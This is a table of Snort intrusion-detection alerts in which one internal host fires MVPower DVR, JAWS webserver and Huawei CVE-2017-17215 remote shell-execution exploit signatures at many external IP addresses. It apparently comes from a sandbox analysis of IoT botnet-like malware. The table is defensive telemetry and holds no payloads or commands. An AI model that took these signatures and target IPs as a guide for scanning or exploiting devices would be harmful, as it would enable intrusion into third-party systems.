Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/14/24-04:00:08.079132	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57136	80	192.168.2.23	54.36.162.97
04/14/24-04:00:15.908794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56296	80	192.168.2.23	163.171.146.85
04/14/24-04:00:06.946995	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49508	80	192.168.2.23	62.212.95.241
04/14/24-04:00:34.846873	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47706	80	192.168.2.23	38.182.162.36
04/14/24-04:00:29.536616	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57620	80	192.168.2.23	45.207.75.27
04/14/24-04:00:05.906716	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49502	80	192.168.2.23	13.237.67.251
04/14/24-04:00:06.834053	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35542	80	192.168.2.23	69.163.139.33
04/14/24-04:00:27.655686	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49288	80	192.168.2.23	72.52.64.48
04/14/24-04:00:33.907686	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34578	80	192.168.2.23	160.124.63.244
04/14/24-04:00:05.751990	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59506	80	192.168.2.23	152.67.103.55
04/14/24-04:00:13.583169	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58264	80	192.168.2.23	107.186.169.35
04/14/24-04:00:25.917196	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33652	80	192.168.2.23	39.105.219.99
04/14/24-04:00:33.580843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55412	80	192.168.2.23	210.99.38.20
04/14/24-04:00:33.547488	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44568	80	192.168.2.23	179.53.185.182
04/14/24-04:00:05.149491	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35692	80	192.168.2.23	82.48.3.45
04/14/24-04:00:25.795005	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43836	80	192.168.2.23	173.243.14.101
04/14/24-04:00:20.286344	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32840	80	192.168.2.23	2.180.3.66
04/14/24-04:00:24.985363	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57440	80	192.168.2.23	45.207.75.27
04/14/24-04:00:16.705948	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46316	80	192.168.2.23	34.36.181.1
04/14/24-04:00:05.533652	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51582	80	192.168.2.23	27.72.102.225
04/14/24-04:00:33.109128	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39136	80	192.168.2.23	104.167.72.190
04/14/24-04:00:08.121384	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50814	80	192.168.2.23	106.58.218.164
04/14/24-04:00:25.068777	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50562	80	192.168.2.23	95.209.128.5
04/14/24-04:00:25.581404	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35162	80	192.168.2.23	75.103.70.104
04/14/24-04:00:33.615201	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43618	80	192.168.2.23	138.201.205.149
04/14/24-04:00:06.969285	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47382	80	192.168.2.23	221.121.94.9
04/14/24-04:00:13.522053	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57380	80	192.168.2.23	45.207.81.150
04/14/24-04:00:06.634158	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56658	80	192.168.2.23	172.65.79.88
04/14/24-04:00:13.573393	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58594	80	192.168.2.23	34.160.109.225
04/14/24-04:00:34.981889	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54682	80	192.168.2.23	134.180.249.204
04/14/24-04:00:20.812130	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58764	80	192.168.2.23	198.152.59.1
04/14/24-04:00:29.929324	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38216	80	192.168.2.23	202.31.182.14
04/14/24-03:59:56.488173	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35310	80	192.168.2.23	47.109.133.217
04/14/24-04:00:13.719016	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41808	80	192.168.2.23	66.11.137.84
04/14/24-04:00:33.877559	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35790	80	192.168.2.23	18.161.121.135
04/14/24-04:00:24.919717	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57226	80	192.168.2.23	52.49.43.91
04/14/24-04:00:27.150830	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35758	80	192.168.2.23	93.242.171.185
04/14/24-04:00:29.388705	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56638	80	192.168.2.23	172.65.192.203
04/14/24-04:00:15.916863	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43176	80	192.168.2.23	34.92.98.240
04/14/24-04:00:08.908495	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58672	80	192.168.2.23	93.191.192.124
04/14/24-04:00:09.973199	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52170	37215	192.168.2.23	156.77.130.173
04/14/24-04:00:19.858817	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57464	80	192.168.2.23	34.160.106.95
04/14/24-03:59:56.395409	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39044	80	192.168.2.23	128.199.35.43
04/14/24-04:00:24.588473	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57234	80	192.168.2.23	45.207.75.27
04/14/24-04:00:06.834053	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35542	80	192.168.2.23	69.163.139.33
04/14/24-03:59:56.542570	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40852	80	192.168.2.23	18.189.76.131
04/14/24-04:00:19.096291	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44026	80	192.168.2.23	195.55.185.178
04/14/24-04:00:16.705948	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46316	80	192.168.2.23	34.36.181.1
04/14/24-04:00:27.848697	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35284	80	192.168.2.23	212.57.38.177
04/14/24-04:00:29.848845	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51338	80	192.168.2.23	222.107.28.19
04/14/24-04:00:09.973199	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52170	37215	192.168.2.23	156.77.130.173
04/14/24-04:00:30.748808	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48560	80	192.168.2.23	140.248.164.226
04/14/24-04:00:17.008341	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58686	80	192.168.2.23	82.163.72.143
04/14/24-04:00:19.926450	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52844	80	192.168.2.23	108.190.17.225
04/14/24-04:00:20.286344	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32840	80	192.168.2.23	2.180.3.66
04/14/24-04:00:25.917196	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33652	80	192.168.2.23	39.105.219.99
04/14/24-04:00:25.918886	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42886	80	192.168.2.23	195.164.227.51
04/14/24-04:00:25.581547	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40942	80	192.168.2.23	23.81.84.72
04/14/24-04:00:06.946995	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49508	80	192.168.2.23	62.212.95.241
04/14/24-04:00:33.466556	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45076	80	192.168.2.23	64.79.180.67
04/14/24-04:00:33.224100	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58490	80	192.168.2.23	190.253.246.27
04/14/24-04:00:27.738390	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45180	37215	192.168.2.23	156.241.117.155
04/14/24-04:00:33.877559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35790	80	192.168.2.23	18.161.121.135
04/14/24-04:00:08.569817	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38560	80	192.168.2.23	24.32.193.60
04/14/24-04:00:34.846873	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47706	80	192.168.2.23	38.182.162.36
04/14/24-04:00:05.751990	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59506	80	192.168.2.23	152.67.103.55
04/14/24-04:00:19.922646	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60592	80	192.168.2.23	52.216.59.66
04/14/24-04:00:05.108715	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46878	80	192.168.2.23	195.234.134.79
04/14/24-04:00:25.581547	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40942	80	192.168.2.23	23.81.84.72
04/14/24-04:00:27.655686	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49288	80	192.168.2.23	72.52.64.48
04/14/24-04:00:27.150830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35758	80	192.168.2.23	93.242.171.185
04/14/24-03:59:56.395409	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39044	80	192.168.2.23	128.199.35.43
04/14/24-03:59:56.620149	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47516	80	192.168.2.23	155.94.203.145
04/14/24-04:00:07.951322	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60794	80	192.168.2.23	66.110.42.91
04/14/24-04:00:33.862232	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60138	80	192.168.2.23	116.211.203.36
04/14/24-03:59:56.475226	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40676	80	192.168.2.23	185.211.1.42
04/14/24-04:00:19.094411	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47800	80	192.168.2.23	219.89.83.149
04/14/24-04:00:05.906716	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49502	80	192.168.2.23	13.237.67.251
04/14/24-04:00:13.892373	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43604	80	192.168.2.23	13.93.52.223
04/14/24-04:00:13.573393	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58594	80	192.168.2.23	34.160.109.225
04/14/24-04:00:33.305714	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58732	80	192.168.2.23	91.201.55.87
04/14/24-04:00:24.904149	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57862	80	192.168.2.23	35.157.77.150
04/14/24-03:59:56.542570	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40852	80	192.168.2.23	18.189.76.131
04/14/24-04:00:33.468227	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43274	80	192.168.2.23	38.152.60.111
04/14/24-04:00:24.601893	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47330	80	192.168.2.23	23.202.24.22
04/14/24-04:00:27.848697	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35284	80	192.168.2.23	212.57.38.177
04/14/24-04:00:19.858817	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57464	80	192.168.2.23	34.160.106.95
04/14/24-04:00:16.750059	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33964	80	192.168.2.23	23.201.149.71
04/14/24-04:00:15.908794	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56296	80	192.168.2.23	163.171.146.85
04/14/24-04:00:12.893366	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48228	80	192.168.2.23	212.237.177.195
04/14/24-04:00:06.634158	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56658	80	192.168.2.23	172.65.79.88
04/14/24-04:00:16.769308	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46822	80	192.168.2.23	54.87.176.106
04/14/24-04:00:18.371927	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40378	80	192.168.2.23	68.183.83.157
04/14/24-04:00:27.002241	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45474	80	192.168.2.23	13.226.190.230
04/14/24-04:00:15.916863	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43176	80	192.168.2.23	34.92.98.240
04/14/24-03:59:56.460437	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54444	80	192.168.2.23	217.69.189.94
04/14/24-04:00:24.386941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39306	37215	192.168.2.23	156.235.99.60
04/14/24-03:59:56.488173	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35310	80	192.168.2.23	47.109.133.217
04/14/24-04:00:20.914209	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49728	80	192.168.2.23	39.119.118.131
04/14/24-04:00:27.160737	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52834	80	192.168.2.23	5.188.88.39
04/14/24-04:00:34.194978	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59206	80	192.168.2.23	102.134.8.105
04/14/24-03:59:56.468386	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54440	80	192.168.2.23	217.69.189.94
04/14/24-04:00:19.688340	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57582	80	192.168.2.23	45.207.81.150
04/14/24-04:00:12.893366	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48228	80	192.168.2.23	212.237.177.195
04/14/24-04:00:05.429439	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37398	80	192.168.2.23	18.238.16.192
04/14/24-04:00:20.224575	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39974	80	192.168.2.23	83.233.58.217
04/14/24-04:00:24.923757	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41946	80	192.168.2.23	188.128.159.3
04/14/24-04:00:08.121384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50814	80	192.168.2.23	106.58.218.164
04/14/24-04:00:25.068777	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50562	80	192.168.2.23	95.209.128.5
04/14/24-04:00:25.581404	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35162	80	192.168.2.23	75.103.70.104
04/14/24-04:00:29.929324	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38216	80	192.168.2.23	202.31.182.14
04/14/24-04:00:13.719016	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41808	80	192.168.2.23	66.11.137.84
04/14/24-04:00:13.402621	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39792	80	192.168.2.23	200.10.37.35
04/14/24-04:00:27.033265	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52522	80	192.168.2.23	190.166.143.122
04/14/24-04:00:24.601893	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47330	80	192.168.2.23	23.202.24.22
04/14/24-04:00:12.881254	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55478	80	192.168.2.23	95.179.150.90
04/14/24-04:00:33.109300	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45764	80	192.168.2.23	199.250.209.11
04/14/24-04:00:27.002241	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45474	80	192.168.2.23	13.226.190.230
04/14/24-04:00:25.795005	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43836	80	192.168.2.23	173.243.14.101
04/14/24-04:00:29.946135	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40734	80	192.168.2.23	39.106.19.0
04/14/24-04:00:25.815344	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35536	80	192.168.2.23	13.33.164.127
04/14/24-04:00:16.773980	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35366	80	192.168.2.23	23.66.220.6
04/14/24-04:00:15.921730	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46882	80	192.168.2.23	52.222.201.190
04/14/24-04:00:30.748808	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48560	80	192.168.2.23	140.248.164.226
04/14/24-04:00:13.892373	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43604	80	192.168.2.23	13.93.52.223
04/14/24-04:00:13.899234	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33350	80	192.168.2.23	180.188.192.104
04/14/24-04:00:05.121695	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41676	80	192.168.2.23	62.234.164.32
04/14/24-04:00:27.477239	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58094	80	192.168.2.23	45.207.81.150
04/14/24-04:00:08.079132	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57136	80	192.168.2.23	54.36.162.97
04/14/24-04:00:07.951322	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60794	80	192.168.2.23	66.110.42.91
04/14/24-04:00:05.431440	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38008	80	192.168.2.23	46.101.57.158
04/14/24-04:00:24.508933	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43622	80	192.168.2.23	108.175.123.116
04/14/24-04:00:29.536616	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57620	80	192.168.2.23	45.207.75.27
04/14/24-04:00:17.027065	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54860	80	192.168.2.23	154.85.249.119
04/14/24-04:00:25.910501	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60514	80	192.168.2.23	92.54.13.41
04/14/24-03:59:56.961818	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35044	80	192.168.2.23	108.139.67.159
04/14/24-04:00:33.305714	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58732	80	192.168.2.23	91.201.55.87
04/14/24-04:00:13.919372	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53970	80	192.168.2.23	95.84.156.68
04/14/24-04:00:16.750059	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33964	80	192.168.2.23	23.201.149.71
04/14/24-04:00:17.008341	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58686	80	192.168.2.23	82.163.72.143
04/14/24-04:00:08.908495	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58672	80	192.168.2.23	93.191.192.124
04/14/24-04:00:13.402621	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39792	80	192.168.2.23	200.10.37.35
04/14/24-04:00:18.213865	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34004	80	192.168.2.23	23.201.149.71
04/14/24-04:00:20.224575	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39974	80	192.168.2.23	83.233.58.217
04/14/24-04:00:05.652987	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55754	80	192.168.2.23	187.153.32.88
04/14/24-03:59:56.460437	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54444	80	192.168.2.23	217.69.189.94
04/14/24-04:00:27.033265	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52522	80	192.168.2.23	190.166.143.122
04/14/24-04:00:34.980933	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55322	80	192.168.2.23	182.214.1.81
04/14/24-04:00:33.109128	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39136	80	192.168.2.23	104.167.72.190
04/14/24-04:00:06.859021	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55492	80	192.168.2.23	132.174.251.208
04/14/24-04:00:29.402964	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54972	80	192.168.2.23	76.53.156.26
04/14/24-04:00:33.547488	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44568	80	192.168.2.23	179.53.185.182
04/14/24-04:00:33.276664	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55714	80	192.168.2.23	78.4.115.21
04/14/24-04:00:05.429439	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37398	80	192.168.2.23	18.238.16.192
04/14/24-04:00:16.773980	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35366	80	192.168.2.23	23.66.220.6
04/14/24-04:00:05.121695	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41676	80	192.168.2.23	62.234.164.32
04/14/24-04:00:27.477239	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58094	80	192.168.2.23	45.207.81.150
04/14/24-04:00:29.946135	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40734	80	192.168.2.23	39.106.19.0
04/14/24-04:00:16.706077	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54832	80	192.168.2.23	23.51.193.217
04/14/24-04:00:34.194978	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59206	80	192.168.2.23	102.134.8.105
04/14/24-04:00:27.160737	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52834	80	192.168.2.23	5.188.88.39
04/14/24-04:00:24.488437	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40808	80	192.168.2.23	74.192.141.13
04/14/24-04:00:12.881254	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55478	80	192.168.2.23	95.179.150.90
04/14/24-04:00:33.109300	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45764	80	192.168.2.23	199.250.209.11
04/14/24-04:00:12.937605	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38666	80	192.168.2.23	129.28.53.189
04/14/24-04:00:15.921730	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46882	80	192.168.2.23	52.222.201.190
04/14/24-04:00:20.812130	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58764	80	192.168.2.23	198.152.59.1
04/14/24-04:00:05.652987	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55754	80	192.168.2.23	187.153.32.88
04/14/24-04:00:13.919372	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53970	80	192.168.2.23	95.84.156.68
04/14/24-04:00:18.213865	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34004	80	192.168.2.23	23.201.149.71
04/14/24-04:00:25.815344	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35536	80	192.168.2.23	13.33.164.127
04/14/24-04:00:20.914209	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49728	80	192.168.2.23	39.119.118.131
04/14/24-04:00:27.860863	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56686	80	192.168.2.23	13.227.200.135
04/14/24-04:00:33.615201	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43618	80	192.168.2.23	138.201.205.149
04/14/24-04:00:24.508933	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43622	80	192.168.2.23	108.175.123.116
04/14/24-04:00:24.386941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39306	37215	192.168.2.23	156.235.99.60
04/14/24-03:59:56.468386	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54440	80	192.168.2.23	217.69.189.94
04/14/24-04:00:05.520888	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42544	80	192.168.2.23	197.26.114.150
04/14/24-04:00:05.058210	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43136	80	192.168.2.23	150.60.98.40
04/14/24-04:00:05.431440	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38008	80	192.168.2.23	46.101.57.158
04/14/24-04:00:06.859021	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55492	80	192.168.2.23	132.174.251.208
04/14/24-03:59:56.961818	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35044	80	192.168.2.23	108.139.67.159
04/14/24-04:00:08.179034	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51996	80	192.168.2.23	23.47.29.250
04/14/24-04:00:09.017728	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49754	80	192.168.2.23	184.29.247.159
04/14/24-04:00:19.054169	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55180	80	192.168.2.23	61.216.15.233
04/14/24-04:00:25.924647	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56592	80	192.168.2.23	106.120.182.166
04/14/24-04:00:12.008878	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58232	80	192.168.2.23	96.6.167.60
04/14/24-04:00:11.976055	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50470	80	192.168.2.23	149.248.6.29
04/14/24-04:00:08.355252	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46802	80	192.168.2.23	94.182.134.213
04/14/24-04:00:12.798790	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46580	80	192.168.2.23	70.65.82.244
04/14/24-04:00:25.900343	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40928	80	192.168.2.23	18.245.56.167
04/14/24-04:00:04.433794	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51554	37215	192.168.2.23	156.241.98.190
04/14/24-04:00:16.706077	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54832	80	192.168.2.23	23.51.193.217
04/14/24-04:00:24.882023	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57072	80	192.168.2.23	147.47.116.116
04/14/24-04:00:05.646194	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38762	80	192.168.2.23	34.71.233.233
04/14/24-04:00:29.546756	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38032	80	192.168.2.23	174.138.8.3
04/14/24-04:00:07.953083	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46616	80	192.168.2.23	164.90.150.192
04/14/24-04:00:20.008922	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38168	80	192.168.2.23	217.194.210.146
04/14/24-04:00:24.575791	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52942	80	192.168.2.23	43.240.49.18
04/14/24-04:00:24.607773	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35042	80	192.168.2.23	78.47.233.99
04/14/24-04:00:05.051096	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35774	80	192.168.2.23	190.149.62.34
04/14/24-03:59:56.922627	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54178	80	192.168.2.23	20.234.98.243
04/14/24-04:00:12.562434	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48196	80	192.168.2.23	47.92.115.75
04/14/24-04:00:16.769308	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46822	80	192.168.2.23	54.87.176.106
04/14/24-04:00:27.860863	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56686	80	192.168.2.23	13.227.200.135
04/14/24-03:59:56.311909	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55290	80	192.168.2.23	54.81.227.101
04/14/24-04:00:13.497161	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57142	80	192.168.2.23	45.207.81.150
04/14/24-04:00:24.592533	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56604	80	192.168.2.23	161.111.63.218
04/14/24-04:00:12.038889	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41454	80	192.168.2.23	52.205.244.98
